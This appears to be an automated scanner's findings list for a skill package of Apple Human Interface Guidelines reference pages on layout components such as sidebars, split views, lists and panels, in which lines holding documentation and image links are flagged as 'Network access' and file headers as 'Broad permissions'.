  • Network accessline 115
    **If you change the default label, prefer using SF Symbols to represent the action.** Avoid using a label that might mislead people into thinking that the sheet is part of a hierarchical navigation interface. Also, if the text in the top-le
  • Network accessline 117
    ![A screenshot that shows a top toolbar with the default Cancel button at the top of the screen on Apple Watch.](https://docs-assets.developer.apple.com/published/4b2b3901392b3a2101bf98fbee0b7809/modal-sheet-watchos-do%402x.png)
  • Network accessline 119
    ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)
  • Network accessline 121
    ![A screenshot that shows a top toolbar with a custom Back button at the top of the screen on Apple Watch.](https://docs-assets.developer.apple.com/published/3342cdf046b51d5b7e22008f4fa36cf8/modal-sheet-watchos-do-not-1%402x.png)
  • Network accessline 123
    ![An X in a circle to indicate incorrect usage.](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)
  • Network accessline 125
    ![A screenshot that shows a top toolbar with a button with the words Page title at the top of the screen on Apple Watch.](https://docs-assets.developer.apple.com/published/7e655a4130904ed5def637dde60325f9/modal-sheet-watchos-do-not-2%402x.p
  • Network accessline 127
    ![An X in a circle to indicate incorrect usage.](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)
  • Network accessline 129
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/sheets#Resources)
  • Network accessline 131
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/sheets#Related)
  • Network accessline 133
    [Modality](https://developer.apple.com/design/human-interface-guidelines/modality)
  • Network accessline 135
    [Action sheets](https://developer.apple.com/design/human-interface-guidelines/action-sheets)
  • Network accessline 137
    [Popovers](https://developer.apple.com/design/human-interface-guidelines/popovers)
  • Network accessline 139
    [Panels](https://developer.apple.com/design/human-interface-guidelines/panels)
  • Network accessline 141
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/sheets#Developer-documentation)
  • Network accessline 143
    [`sheet(item:onDismiss:content:)`](https://developer.apple.com/documentation/SwiftUI/View/sheet\(item:onDismiss:content:\)) — SwiftUI
  • Network accessline 145
    [`UISheetPresentationController`](https://developer.apple.com/documentation/UIKit/UISheetPresentationController) — UIKit
  • Network accessline 147
    [`presentAsSheet(_:)`](https://developer.apple.com/documentation/AppKit/NSViewController/presentAsSheet\(_:\)) — AppKit
  • Network accessline 149
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/sheets#Change-log)

skills/hig-components-layout/SKILL.md

  • Network accessline 101
    *Built by [Raintree Technology](https://raintree.technology) · [More developer tools](https://raintree.technology)*

skills/hig-components-layout/references/boxes.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Boxes | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/boxes
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/boxes
  • Network accessline 9
    ![A stylized representation of a group of interface elements within a rounded rectangle. The image is tinted red to subtly reflect the red in the original six-color Apple logo.](https://docs-assets.developer.apple.com/published/6e253271e988
  • Network accessline 13
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/boxes#Best-practices)
  • Network accessline 19
    ## [Content](https://developer.apple.com/design/human-interface-guidelines/boxes#Content)
  • Network accessline 25
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/boxes#Platform-considerations)
  • Network accessline 29
    ### [iOS, iPadOS](https://developer.apple.com/design/human-interface-guidelines/boxes#iOS-iPadOS)
  • Network accessline 31
    By default, iOS and iPadOS use the secondary and tertiary background [colors](https://developer.apple.com/design/human-interface-guidelines/color) in boxes.
  • Network accessline 33
    ### [macOS](https://developer.apple.com/design/human-interface-guidelines/boxes#macOS)
  • Network accessline 37
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/boxes#Resources)
  • Network accessline 39
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/boxes#Related)
  • Network accessline 41
    [Layout](https://developer.apple.com/design/human-interface-guidelines/layout)
  • Network accessline 43
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/boxes#Developer-documentation)
  • Network accessline 45
    [`GroupBox`](https://developer.apple.com/documentation/SwiftUI/GroupBox) — SwiftUI
  • Network accessline 47
    [`NSBox`](https://developer.apple.com/documentation/AppKit/NSBox) — AppKit

skills/hig-components-layout/references/column-views.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Column views | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/column-views
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/column-views
  • Network accessline 9
    ![A stylized representation of three columns containing a list of folders, images, and file information. The image is tinted red to subtly reflect the red in the original six-color Apple logo.](https://docs-assets.developer.apple.com/publis
  • Network accessline 15
    If you need to manage the presentation of hierarchical content in your iPadOS or visionOS app, consider using a [split view](https://developer.apple.com/design/human-interface-guidelines/split-views).
  • Network accessline 17
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/column-views#Best-practices)
  • Network accessline 19
    Consider using a column view when you have a deep data hierarchy in which people tend to navigate back and forth frequently between levels, and you don’t need the sorting capabilities that a [list or table](https://developer.apple.com/desig
  • Network accessline 27
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/column-views#Platform-considerations)
  • Network accessline 31
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/column-views#Resources)
  • Network accessline 33
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/column-views#Related)
  • Network accessline 35
    [Lists and tables](https://developer.apple.com/design/human-interface-guidelines/lists-and-tables)
  • Network accessline 37
    [Outline views](https://developer.apple.com/design/human-interface-guidelines/outline-views)
  • Network accessline 39
    [Split views](https://developer.apple.com/design/human-interface-guidelines/split-views)
  • Network accessline 41
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/column-views#Developer-documentation)
  • Network accessline 43
    [`NSBrowser`](https://developer.apple.com/documentation/AppKit/NSBrowser) — AppKit

skills/hig-components-layout/references/lists-and-tables.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Lists and tables | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/lists-and-tables
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/lists-and-tables
  • Network accessline 9
    ![A stylized representation of a three-row table with header and footer text. The image is tinted red to subtly reflect the red in the original six-color Apple logo.](https://docs-assets.developer.apple.com/published/c3e26d2515ac05cae7aba27
  • Network accessline 11
    A table or list can represent data that’s organized in groups or hierarchies, and it can support user interactions like selecting, adding, deleting, and reordering. Apps and games in all platforms can use tables to present content and optio
  • Network accessline 15
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/lists-and-tables#Best-practices)
  • Network accessline 17
    **Prefer displaying text in a list or table.** A table can include any type of content, but the row-based format is especially well suited to making text easy to scan and read. If you have items that vary widely in size — or you need to dis
  • Network accessline 23
    ## [Content](https://developer.apple.com/design/human-interface-guidelines/lists-and-tables#Content)
  • Network accessline 29
    **Use descriptive column headings in a multicolumn table.** Use nouns or short noun phrases with [title-style capitalization](https://support.apple.com/guide/applestyleguide/c-apsgb744e4a3/web#apdca93e113f1d64), and don’t add ending punctua
  • Network accessline 31
    ## [Style](https://developer.apple.com/design/human-interface-guidelines/lists-and-tables#Style)
  • Network accessline 33
    **Choose a table or list style that coordinates with your data and platform.** Some styles use visual details to help communicate grouping and hierarchy or to provide specific experiences. In iOS and iPadOS, for example, the grouped style u
  • Network accessline 35
    **Choose a row style that fits the information you need to display.** For example, you might need to display a small image in the leading end of a row, followed by a brief explanatory label. Some platforms provide built-in row styles you ca
  • Network accessline 37
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/lists-and-tables#Platform-considerations)
  • Network accessline 39
    ### [iOS, iPadOS, visionOS](https://developer.apple.com/design/human-interface-guidelines/lists-and-tables#iOS-iPadOS-visionOS)
  • Network accessline 41
    **Use an info button only to reveal more information about a row’s content.** An info button — called a _detail disclosure button_ when it appears in a list row — doesn’t support navigation through a hierarchical table or list. If you need 
  • Network accessline 43
    ![An illustration of a grouped list of rows. Each list item includes an info button at the trailing end of the row.](https://docs-assets.developer.apple.com/published/fd301d26835e0341b95eaa2027f200f2/info-button-in-list%402x.png)An info but
  • Network accessline 45
    ![An illustration of a grouped list of rows. Each list item includes a right-pointing chevron at the trailing end of the row.](https://docs-assets.developer.apple.com/published/dcb3678fe458846713b03756ab5e1a28/disclosure-indicator-in-list%4
  • Network accessline 49
    ### [macOS](https://developer.apple.com/design/human-interface-guidelines/lists-and-tables#macOS)
  • Network accessline 57
    **Use an outline view instead of a table view to present hierarchical data.** An [outline view](https://developer.apple.com/design/human-interface-guidelines/outline-views) looks like a table view, but includes disclosure triangles for expo
  • Network accessline 59
    ### [tvOS](https://developer.apple.com/design/human-interface-guidelines/lists-and-tables#tvOS)
  • Network accessline 63
    ### [watchOS](https://developer.apple.com/design/human-interface-guidelines/lists-and-tables#watchOS)
  • Network accessline 69
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/lists-and-tables#Resources)
  • Network accessline 71
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/lists-and-tables#Related)
  • Network accessline 73
    [Collections](https://developer.apple.com/design/human-interface-guidelines/collections)
  • Network accessline 75
    [Outline views](https://developer.apple.com/design/human-interface-guidelines/outline-views)
  • Network accessline 77
    [Layout](https://developer.apple.com/design/human-interface-guidelines/layout)
  • Network accessline 79
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/lists-and-tables#Developer-documentation)
  • Network accessline 81
    [`List`](https://developer.apple.com/documentation/SwiftUI/List) — SwiftUI
  • Network accessline 83
    [Tables](https://developer.apple.com/documentation/SwiftUI/Tables) — SwiftUI
  • Network accessline 85
    [`UITableView`](https://developer.apple.com/documentation/UIKit/UITableView) — UIKit
  • Network accessline 87
    [`NSTableView`](https://developer.apple.com/documentation/AppKit/NSTableView) — AppKit
  • Network accessline 89
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/lists-and-tables#Videos)
  • Network accessline 91
    [![](https://devimages-cdn.apple.com/wwdc-services/images/49/1636D358-5C36-4027-B204-81FFE4D05B7D/3455_wide_250x141_1x.jpg) Stacks, Grids, and Outlines in SwiftUI ](https://developer.apple.com/videos/play/wwdc2020/10031)
  • Network accessline 93
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/lists-and-tables#Change-log)

skills/hig-components-layout/references/ornaments.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Ornaments | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/ornaments
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/ornaments
  • Network accessline 9
    ![A stylized representation of an ornament at the bottom of a window shown on top of a grid that suggests the canvas of a design tool. The image is tinted red to subtly reflect the red in the original six-color Apple logo.](https://docs-ass
  • Network accessline 13
    Ornaments can appear on any edge of a window and can contain UI components like buttons, segmented controls, and other views. The system uses ornaments to create and manage components like [toolbars](https://developer.apple.com/design/human
  • Network accessline 15
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/ornaments#Best-practices)
  • Network accessline 25
    **Consider using borderless buttons in an ornament.** By default, an ornament’s background is [glass](https://developer.apple.com/design/human-interface-guidelines/materials#visionOS), so if you place a button directly on the background, it
  • Network accessline 27
    **Use system-provided toolbars and tab bars unless you need to create custom components.** In visionOS, toolbars and tab bars automatically appear as ornaments, so you don’t need to use an ornament to create these components. For developer 
  • Network accessline 29
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/ornaments#Platform-considerations)
  • Network accessline 33
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/ornaments#Resources)
  • Network accessline 35
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/ornaments#Related)
  • Network accessline 37
    [Layout](https://developer.apple.com/design/human-interface-guidelines/layout)
  • Network accessline 39
    [Toolbars](https://developer.apple.com/design/human-interface-guidelines/toolbars)
  • Network accessline 41
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/ornaments#Developer-documentation)
  • Network accessline 43
    [`ornament(visibility:attachmentAnchor:contentAlignment:ornament:)`](https://developer.apple.com/documentation/SwiftUI/View/ornament\(visibility:attachmentAnchor:contentAlignment:ornament:\)) — SwiftUI
  • Network accessline 45
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/ornaments#Videos)
  • Network accessline 47
    [![](https://devimages-cdn.apple.com/wwdc-services/images/D35E0E85-CCB6-41A1-B227-7995ECD83ED5/38E4EE32-29B5-4478-B8B6-35B8ACA67B16/8130_wide_250x141_1x.jpg) Design for spatial user interfaces ](https://developer.apple.com/videos/play/wwdc2
  • Network accessline 49
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/ornaments#Change-log)

skills/hig-components-layout/references/outline-views.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Outline views | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/outline-views
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/outline-views
  • Network accessline 9
    ![A stylized representation of a list of folders and images, displayed in an outline view containing four columns: \[Name\], \[Date Modified\], \[Size\], and \[Kind\]. The image is tinted red to subtly reflect the red in the original six-co
  • Network accessline 15
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/outline-views#Best-practices)
  • Network accessline 17
    Outline views work well to display text-based content and often appear in the leading side of a [split view](https://developer.apple.com/design/human-interface-guidelines/split-views), with related content on the opposite side.
  • Network accessline 19
    **Use a table instead of an outline view to present data that’s not hierarchical.** For guidance, see [Lists and tables](https://developer.apple.com/design/human-interface-guidelines/lists-and-tables).
  • Network accessline 23
    **Use descriptive column headings to provide context.** Use nouns or short noun phrases with [title-style capitalization](https://help.apple.com/applestyleguide/#/apsgb744e4a3?sub=apdca93e113f1d64) and no punctuation; in particular, avoid a
  • Network accessline 39
    **Consider offering a search field to help people find values quickly in a lengthy outline view.** Windows with an outline view as the primary feature often include a search field in the toolbar. For guidance, see [Search fields](https://de
  • Network accessline 41
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/outline-views#Platform-considerations)
  • Network accessline 45
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/outline-views#Resources)
  • Network accessline 47
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/outline-views#Related)
  • Network accessline 49
    [Column views](https://developer.apple.com/design/human-interface-guidelines/column-views)
  • Network accessline 51
    [Lists and tables](https://developer.apple.com/design/human-interface-guidelines/lists-and-tables)
  • Network accessline 53
    [Split views](https://developer.apple.com/design/human-interface-guidelines/split-views)
  • Network accessline 55
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/outline-views#Developer-documentation)
  • Network accessline 57
    [`OutlineGroup`](https://developer.apple.com/documentation/SwiftUI/OutlineGroup) — SwiftUI
  • Network accessline 59
    [`NSOutlineView`](https://developer.apple.com/documentation/AppKit/NSOutlineView) — AppKit
  • Network accessline 61
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/outline-views#Videos)
  • Network accessline 63
    [![](https://devimages-cdn.apple.com/wwdc-services/images/49/1636D358-5C36-4027-B204-81FFE4D05B7D/3455_wide_250x141_1x.jpg) Stacks, Grids, and Outlines in SwiftUI ](https://developer.apple.com/videos/play/wwdc2020/10031)

skills/hig-components-layout/references/panels.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Panels | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/panels
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/panels
  • Network accessline 9
    ![A stylized representation of a panel floating above a window. The image is tinted red to subtly reflect the red in the original six-color Apple logo.](https://docs-assets.developer.apple.com/published/37f7c9e6dd4c635ccbae68b50200a74c/comp
  • Network accessline 11
    In general, a panel has a less prominent appearance than an app’s [main window](https://developer.apple.com/design/human-interface-guidelines/windows#macOS-window-states). When the situation calls for it, a panel can also use a dark, transl
  • Network accessline 13
    When your app runs in other platforms, consider using a modal view to present supplementary content that’s relevant to the current task or selection. For guidance, see [Modality](https://developer.apple.com/design/human-interface-guidelines
  • Network accessline 15
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/panels#Best-practices)
  • Network accessline 19
    **Consider using a panel to present inspector functionality.** An _inspector_ displays the details of the currently selected item, automatically updating its contents when the item changes or when people select a new item. In contrast, if y
  • Network accessline 23
    **Write a brief title that describes the panel’s purpose.** Because a panel often floats above other open windows in your app, it needs a title bar so people can position it where they want. Create a short title using a noun — or a noun phr
  • Network accessline 27
    **Avoid including panels in the Window menu’s documents list.** It’s fine to include commands for showing or hiding panels in the [Window menu](https://developer.apple.com/design/human-interface-guidelines/the-menu-bar#Window-menu), but pan
  • Network accessline 33
    ## [HUD-style panels](https://developer.apple.com/design/human-interface-guidelines/panels#HUD-style-panels)
  • Network accessline 37
    ![A screenshot of a translucent HUD panel, used to display inspector information for a movie file, including the filename, format, frames per second, data rate, and the frame size of the movie content.](https://docs-assets.developer.apple.c
  • Network accessline 56
    For developer guidance, see [`hudWindow`](https://developer.apple.com/documentation/AppKit/NSWindow/StyleMask-swift.struct/hudWindow).
  • Network accessline 58
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/panels#Platform-considerations)
  • Network accessline 62
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/panels#Resources)
  • Network accessline 64
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/panels#Related)
  • Network accessline 66
    [Windows](https://developer.apple.com/design/human-interface-guidelines/windows)
  • Network accessline 68
    [Modality](https://developer.apple.com/design/human-interface-guidelines/modality)
  • Network accessline 70
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/panels#Developer-documentation)
  • Network accessline 72
    [`NSPanel`](https://developer.apple.com/documentation/AppKit/NSPanel) — AppKit
  • Network accessline 74
    [`hudWindow`](https://developer.apple.com/documentation/AppKit/NSWindow/StyleMask-swift.struct/hudWindow) — AppKit

skills/hig-components-layout/references/scroll-views.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Scroll views | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/scroll-views
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/scroll-views
  • Network accessline 9
    ![A stylized representation of a scrollable image view. The image is tinted red to subtly reflect the red in the original six-color Apple logo.](https://docs-assets.developer.apple.com/published/395072e6a9ec2890d242c1d967a7cbe4/components-s
  • Network accessline 13
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/scroll-views#Best-practices)
  • Network accessline 21
    **Consider supporting page-by-page scrolling if it makes sense for your content.** In some situations, people appreciate scrolling by a fixed amount of content per interaction instead of scrolling continuously. On most platforms, you can de
  • Network accessline 40
    ## [Scroll edge effects](https://developer.apple.com/design/human-interface-guidelines/scroll-views#Scroll-edge-effects)
  • Network accessline 42
    In iOS, iPadOS, and macOS, a _scroll edge effect_ is a variable blur that provides a transition between a content area and an area with [Liquid Glass](https://developer.apple.com/design/human-interface-guidelines/materials#Liquid-Glass) con
  • Network accessline 46
    * Use a [`soft`](https://developer.apple.com/documentation/SwiftUI/ScrollEdgeEffectStyle/soft) edge effect in most cases, especially in iOS and iPadOS, to provide a subtle transition that works well for toolbars and interactive elements lik
  • Network accessline 48
    * Use a [`hard`](https://developer.apple.com/documentation/SwiftUI/ScrollEdgeEffectStyle/hard) edge effect primarily in macOS for a stronger, more opaque boundary that’s ideal for interactive text, backless controls, or pinned table headers
  • Network accessline 57
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/scroll-views#Platform-considerations)
  • Network accessline 59
    ### [iOS, iPadOS](https://developer.apple.com/design/human-interface-guidelines/scroll-views#iOS-iPadOS)
  • Network accessline 61
    **Consider showing a page control when a scroll view is in page-by-page mode.** [Page controls](https://developer.apple.com/design/human-interface-guidelines/page-controls) show how many pages, screens, or other chunks of content are availa
  • Network accessline 63
    ### [macOS](https://developer.apple.com/design/human-interface-guidelines/scroll-views#macOS)
  • Network accessline 69
    ### [tvOS](https://developer.apple.com/design/human-interface-guidelines/scroll-views#tvOS)
  • Network accessline 73
    ### [visionOS](https://developer.apple.com/design/human-interface-guidelines/scroll-views#visionOS)
  • Network accessline 87
    ### [watchOS](https://developer.apple.com/design/human-interface-guidelines/scroll-views#watchOS)
  • Network accessline 91
    **Use tab views to provide page-by-page scrolling.** watchOS displays tab views as pages. If you place tab views in a vertical stack, people can rotate the Digital Crown to move vertically through full-screen pages of content. In this scena
  • Network accessline 95
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/scroll-views#Resources)
  • Network accessline 97
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/scroll-views#Related)
  • Network accessline 99
    [Page controls](https://developer.apple.com/design/human-interface-guidelines/page-controls)
  • Network accessline 101
    [Gestures](https://developer.apple.com/design/human-interface-guidelines/gestures)
  • Network accessline 103
    [Pointing devices](https://developer.apple.com/design/human-interface-guidelines/pointing-devices)
  • Network accessline 105
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/scroll-views#Developer-documentation)
  • Network accessline 107
    [`ScrollView`](https://developer.apple.com/documentation/SwiftUI/ScrollView)
  • Network accessline 109
    [`UIScrollView`](https://developer.apple.com/documentation/UIKit/UIScrollView)
  • Network accessline 111
    [`NSScrollView`](https://developer.apple.com/documentation/AppKit/NSScrollView)
  • Network accessline 113
    [`WKPageOrientation`](https://developer.apple.com/documentation/WatchKit/WKPageOrientation)
  • Network accessline 115
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/scroll-views#Change-log)

skills/hig-components-layout/references/sidebars.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Sidebars | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/sidebars
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/sidebars
  • Network accessline 9
    ![A stylized representation of the top portion of a window's sidebar displaying a title, a section, and some folders. The image is tinted red to subtly reflect the red in the original six-color Apple logo.](https://docs-assets.developer.app
  • Network accessline 13
    A sidebar requires a large amount of vertical and horizontal space. When space is limited or you want to devote more of the screen to other information or functionality, a more compact control such as a [tab bar](https://developer.apple.com
  • Network accessline 15
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/sidebars#Best-practices)
  • Network accessline 17
    **Extend content beneath the sidebar.** In iOS, iPadOS, and macOS, as with other controls such as toolbars and tab bars, sidebars float above content in the [Liquid Glass](https://developer.apple.com/design/human-interface-guidelines/materi
  • Network accessline 19
    ![A screenshot of the leading side of an app on iPad. An image spans the upper part of the window, stopping at the edge of the sidebar.](https://docs-assets.developer.apple.com/published/d50ee5db90fbe0cae8f34304aa315053/sidebars-extend-cont
  • Network accessline 21
    ![An X in a circle to indicate incorrect usage.](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)
  • Network accessline 23
    ![A screenshot of the leading side of an app on iPad. An image spans the upper part of the window, and uses a background extension effect to flip, blur, and extend the image beneath the sidebar to the edge of the window.](https://docs-asset
  • Network accessline 25
    ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)
  • Network accessline 29
    **Group hierarchy with disclosure controls if your app has a lot of content.** Using [disclosure controls](https://developer.apple.com/design/human-interface-guidelines/disclosure-controls) helps keep the sidebar’s vertical space to a manag
  • Network accessline 31
    **Consider using familiar symbols to represent items in the sidebar.** [SF Symbols](https://developer.apple.com/design/human-interface-guidelines/sf-symbols) provides a wide range of customizable symbols you can use to represent items in yo
  • Network accessline 39
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/sidebars#Platform-considerations)
  • Network accessline 43
    ### [iOS](https://developer.apple.com/design/human-interface-guidelines/sidebars#iOS)
  • Network accessline 45
    **Avoid using a sidebar.** A sidebar takes up a lot of space in landscape orientation and isn’t available in portrait orientation. Instead, consider using a [tab bar](https://developer.apple.com/design/human-interface-guidelines/tab-bars), 
  • Network accessline 47
    ### [iPadOS](https://developer.apple.com/design/human-interface-guidelines/sidebars#iPadOS)
  • Network accessline 49
    When you use the [`sidebarAdaptable`](https://developer.apple.com/documentation/SwiftUI/TabViewStyle/sidebarAdaptable) style of tab view to present a sidebar, you choose whether to display a sidebar or a tab bar when your app opens. Both va
  • Network accessline 53
    To display a sidebar only, use [`NavigationSplitView`](https://developer.apple.com/documentation/SwiftUI/NavigationSplitView) to present a sidebar in the primary pane of a split view, or use [`UISplitViewController`](https://developer.apple
  • Network accessline 55
    **Consider using a tab bar first.** A tab bar provides more space to feature content, and offers enough flexibility to navigate between many apps’ main areas. If you need to expose more areas than fit in a tab bar, the tab bar’s convertible
  • Network accessline 57
    **If necessary, apply the correct appearance to a sidebar.** If you’re not using SwiftUI to create a sidebar, you can use the [`UICollectionLayoutListConfiguration.Appearance.sidebar`](https://developer.apple.com/documentation/UIKit/UIColle
  • Network accessline 59
    ### [macOS](https://developer.apple.com/design/human-interface-guidelines/sidebars#macOS)
  • Network accessline 63
    **Avoid stylizing your app by specifying a fixed color for all sidebar icons.** By default, sidebar icons use the current [accent color](https://developer.apple.com/design/human-interface-guidelines/color#App-accent-colors) and people expec
  • Network accessline 69
    ### [visionOS](https://developer.apple.com/design/human-interface-guidelines/sidebars#visionOS)
  • Network accessline 73
    ![A partial screenshot of the Music app in visionOS. The app's window includes a sidebar for navigating the music library, and the secondary pane includes a grid of playlists.](https://docs-assets.developer.apple.com/published/5e381525f4ccc
  • Network accessline 75
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/sidebars#Resources)
  • Network accessline 77
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/sidebars#Related)
  • Network accessline 79
    [Split views](https://developer.apple.com/design/human-interface-guidelines/split-views)
  • Network accessline 81
    [Tab bars](https://developer.apple.com/design/human-interface-guidelines/tab-bars)
  • Network accessline 83
    [Layout](https://developer.apple.com/design/human-interface-guidelines/layout)
  • Network accessline 85
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/sidebars#Developer-documentation)
  • Network accessline 87
    [`sidebarAdaptable`](https://developer.apple.com/documentation/SwiftUI/TabViewStyle/sidebarAdaptable) — SwiftUI
  • Network accessline 89
    [`NavigationSplitView`](https://developer.apple.com/documentation/SwiftUI/NavigationSplitView) — SwiftUI
  • Network accessline 91
    [`sidebar`](https://developer.apple.com/documentation/SwiftUI/ListStyle/sidebar) — SwiftUI
  • Network accessline 93
    [`UICollectionLayoutListConfiguration`](https://developer.apple.com/documentation/UIKit/UICollectionLayoutListConfiguration-swift.struct) — UIKit
  • Network accessline 95
    [`NSSplitViewController`](https://developer.apple.com/documentation/AppKit/NSSplitViewController) — AppKit
  • Network accessline 97
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/sidebars#Videos)
  • Network accessline 99
    [![](https://devimages-cdn.apple.com/wwdc-services/images/3055294D-836B-4513-B7B0-0BC5666246B0/873F40BE-101A-4C0D-99F0-F5C7CE7B47A3/10046_wide_250x141_1x.jpg) Elevate the design of your iPad app ](https://developer.apple.com/videos/play/wwd
  • Network accessline 101
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/sidebars#Change-log)

skills/hig-components-layout/references/split-views.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Split views | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/split-views
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/split-views
  • Network accessline 9
    ![A stylized representation of a window consisting of three areas: a sidebar, a canvas, and an inspector. The image is tinted red to subtly reflect the red in the original six-color Apple logo.](https://docs-assets.developer.apple.com/publi
  • Network accessline 13
    It’s common to use a split view to display a [sidebar](https://developer.apple.com/design/human-interface-guidelines/sidebars) for navigation, where the leading pane lists the top-level items or collections in an app, and the secondary and 
  • Network accessline 15
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/split-views#Best-practices)
  • Network accessline 19
    **Consider letting people drag and drop content between panes.** Because a split view provides access to multiple levels of hierarchy, people can conveniently move content from one part of your app to another by dragging items to different 
  • Network accessline 21
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/split-views#Platform-considerations)
  • Network accessline 23
    ### [iOS](https://developer.apple.com/design/human-interface-guidelines/split-views#iOS)
  • Network accessline 27
    ### [iPadOS](https://developer.apple.com/design/human-interface-guidelines/split-views#iPadOS)
  • Network accessline 31
    **Account for narrow, compact, and intermediate window widths.** Since iPad windows are fluidly resizable, it’s important to consider the design of a split view layout at multiple widths. In particular, ensure that it’s possible to navigate
  • Network accessline 33
    ### [macOS](https://developer.apple.com/design/human-interface-guidelines/split-views#macOS)
  • Network accessline 35
    In macOS, you can arrange the panes of a split view vertically, horizontally, or both. A split view includes dividers between panes that can support dragging to resize them. For developer guidance, see [`VSplitView`](https://developer.apple
  • Network accessline 43
    ![An illustration of a laptop screen that shows two panes stacked vertically.](https://docs-assets.developer.apple.com/published/8c23f101a012db47a8e2350e50432617/vertical-split-view%402x.png)
  • Network accessline 45
    ![An illustration of a laptop screen that shows two panes arranged side by side, with a narrower pane on the left and a wider pane on the right.](https://docs-assets.developer.apple.com/published/713be8f9e61a9578b26087ad71ca6b23/horizontal-
  • Network accessline 47
    ![An illustration of a laptop screen divided into three panes, split both vertically and horizontally.](https://docs-assets.developer.apple.com/published/3e315fbb8f8ade8b2d3d4f105f8c4482/multiple-split-view%402x.png)
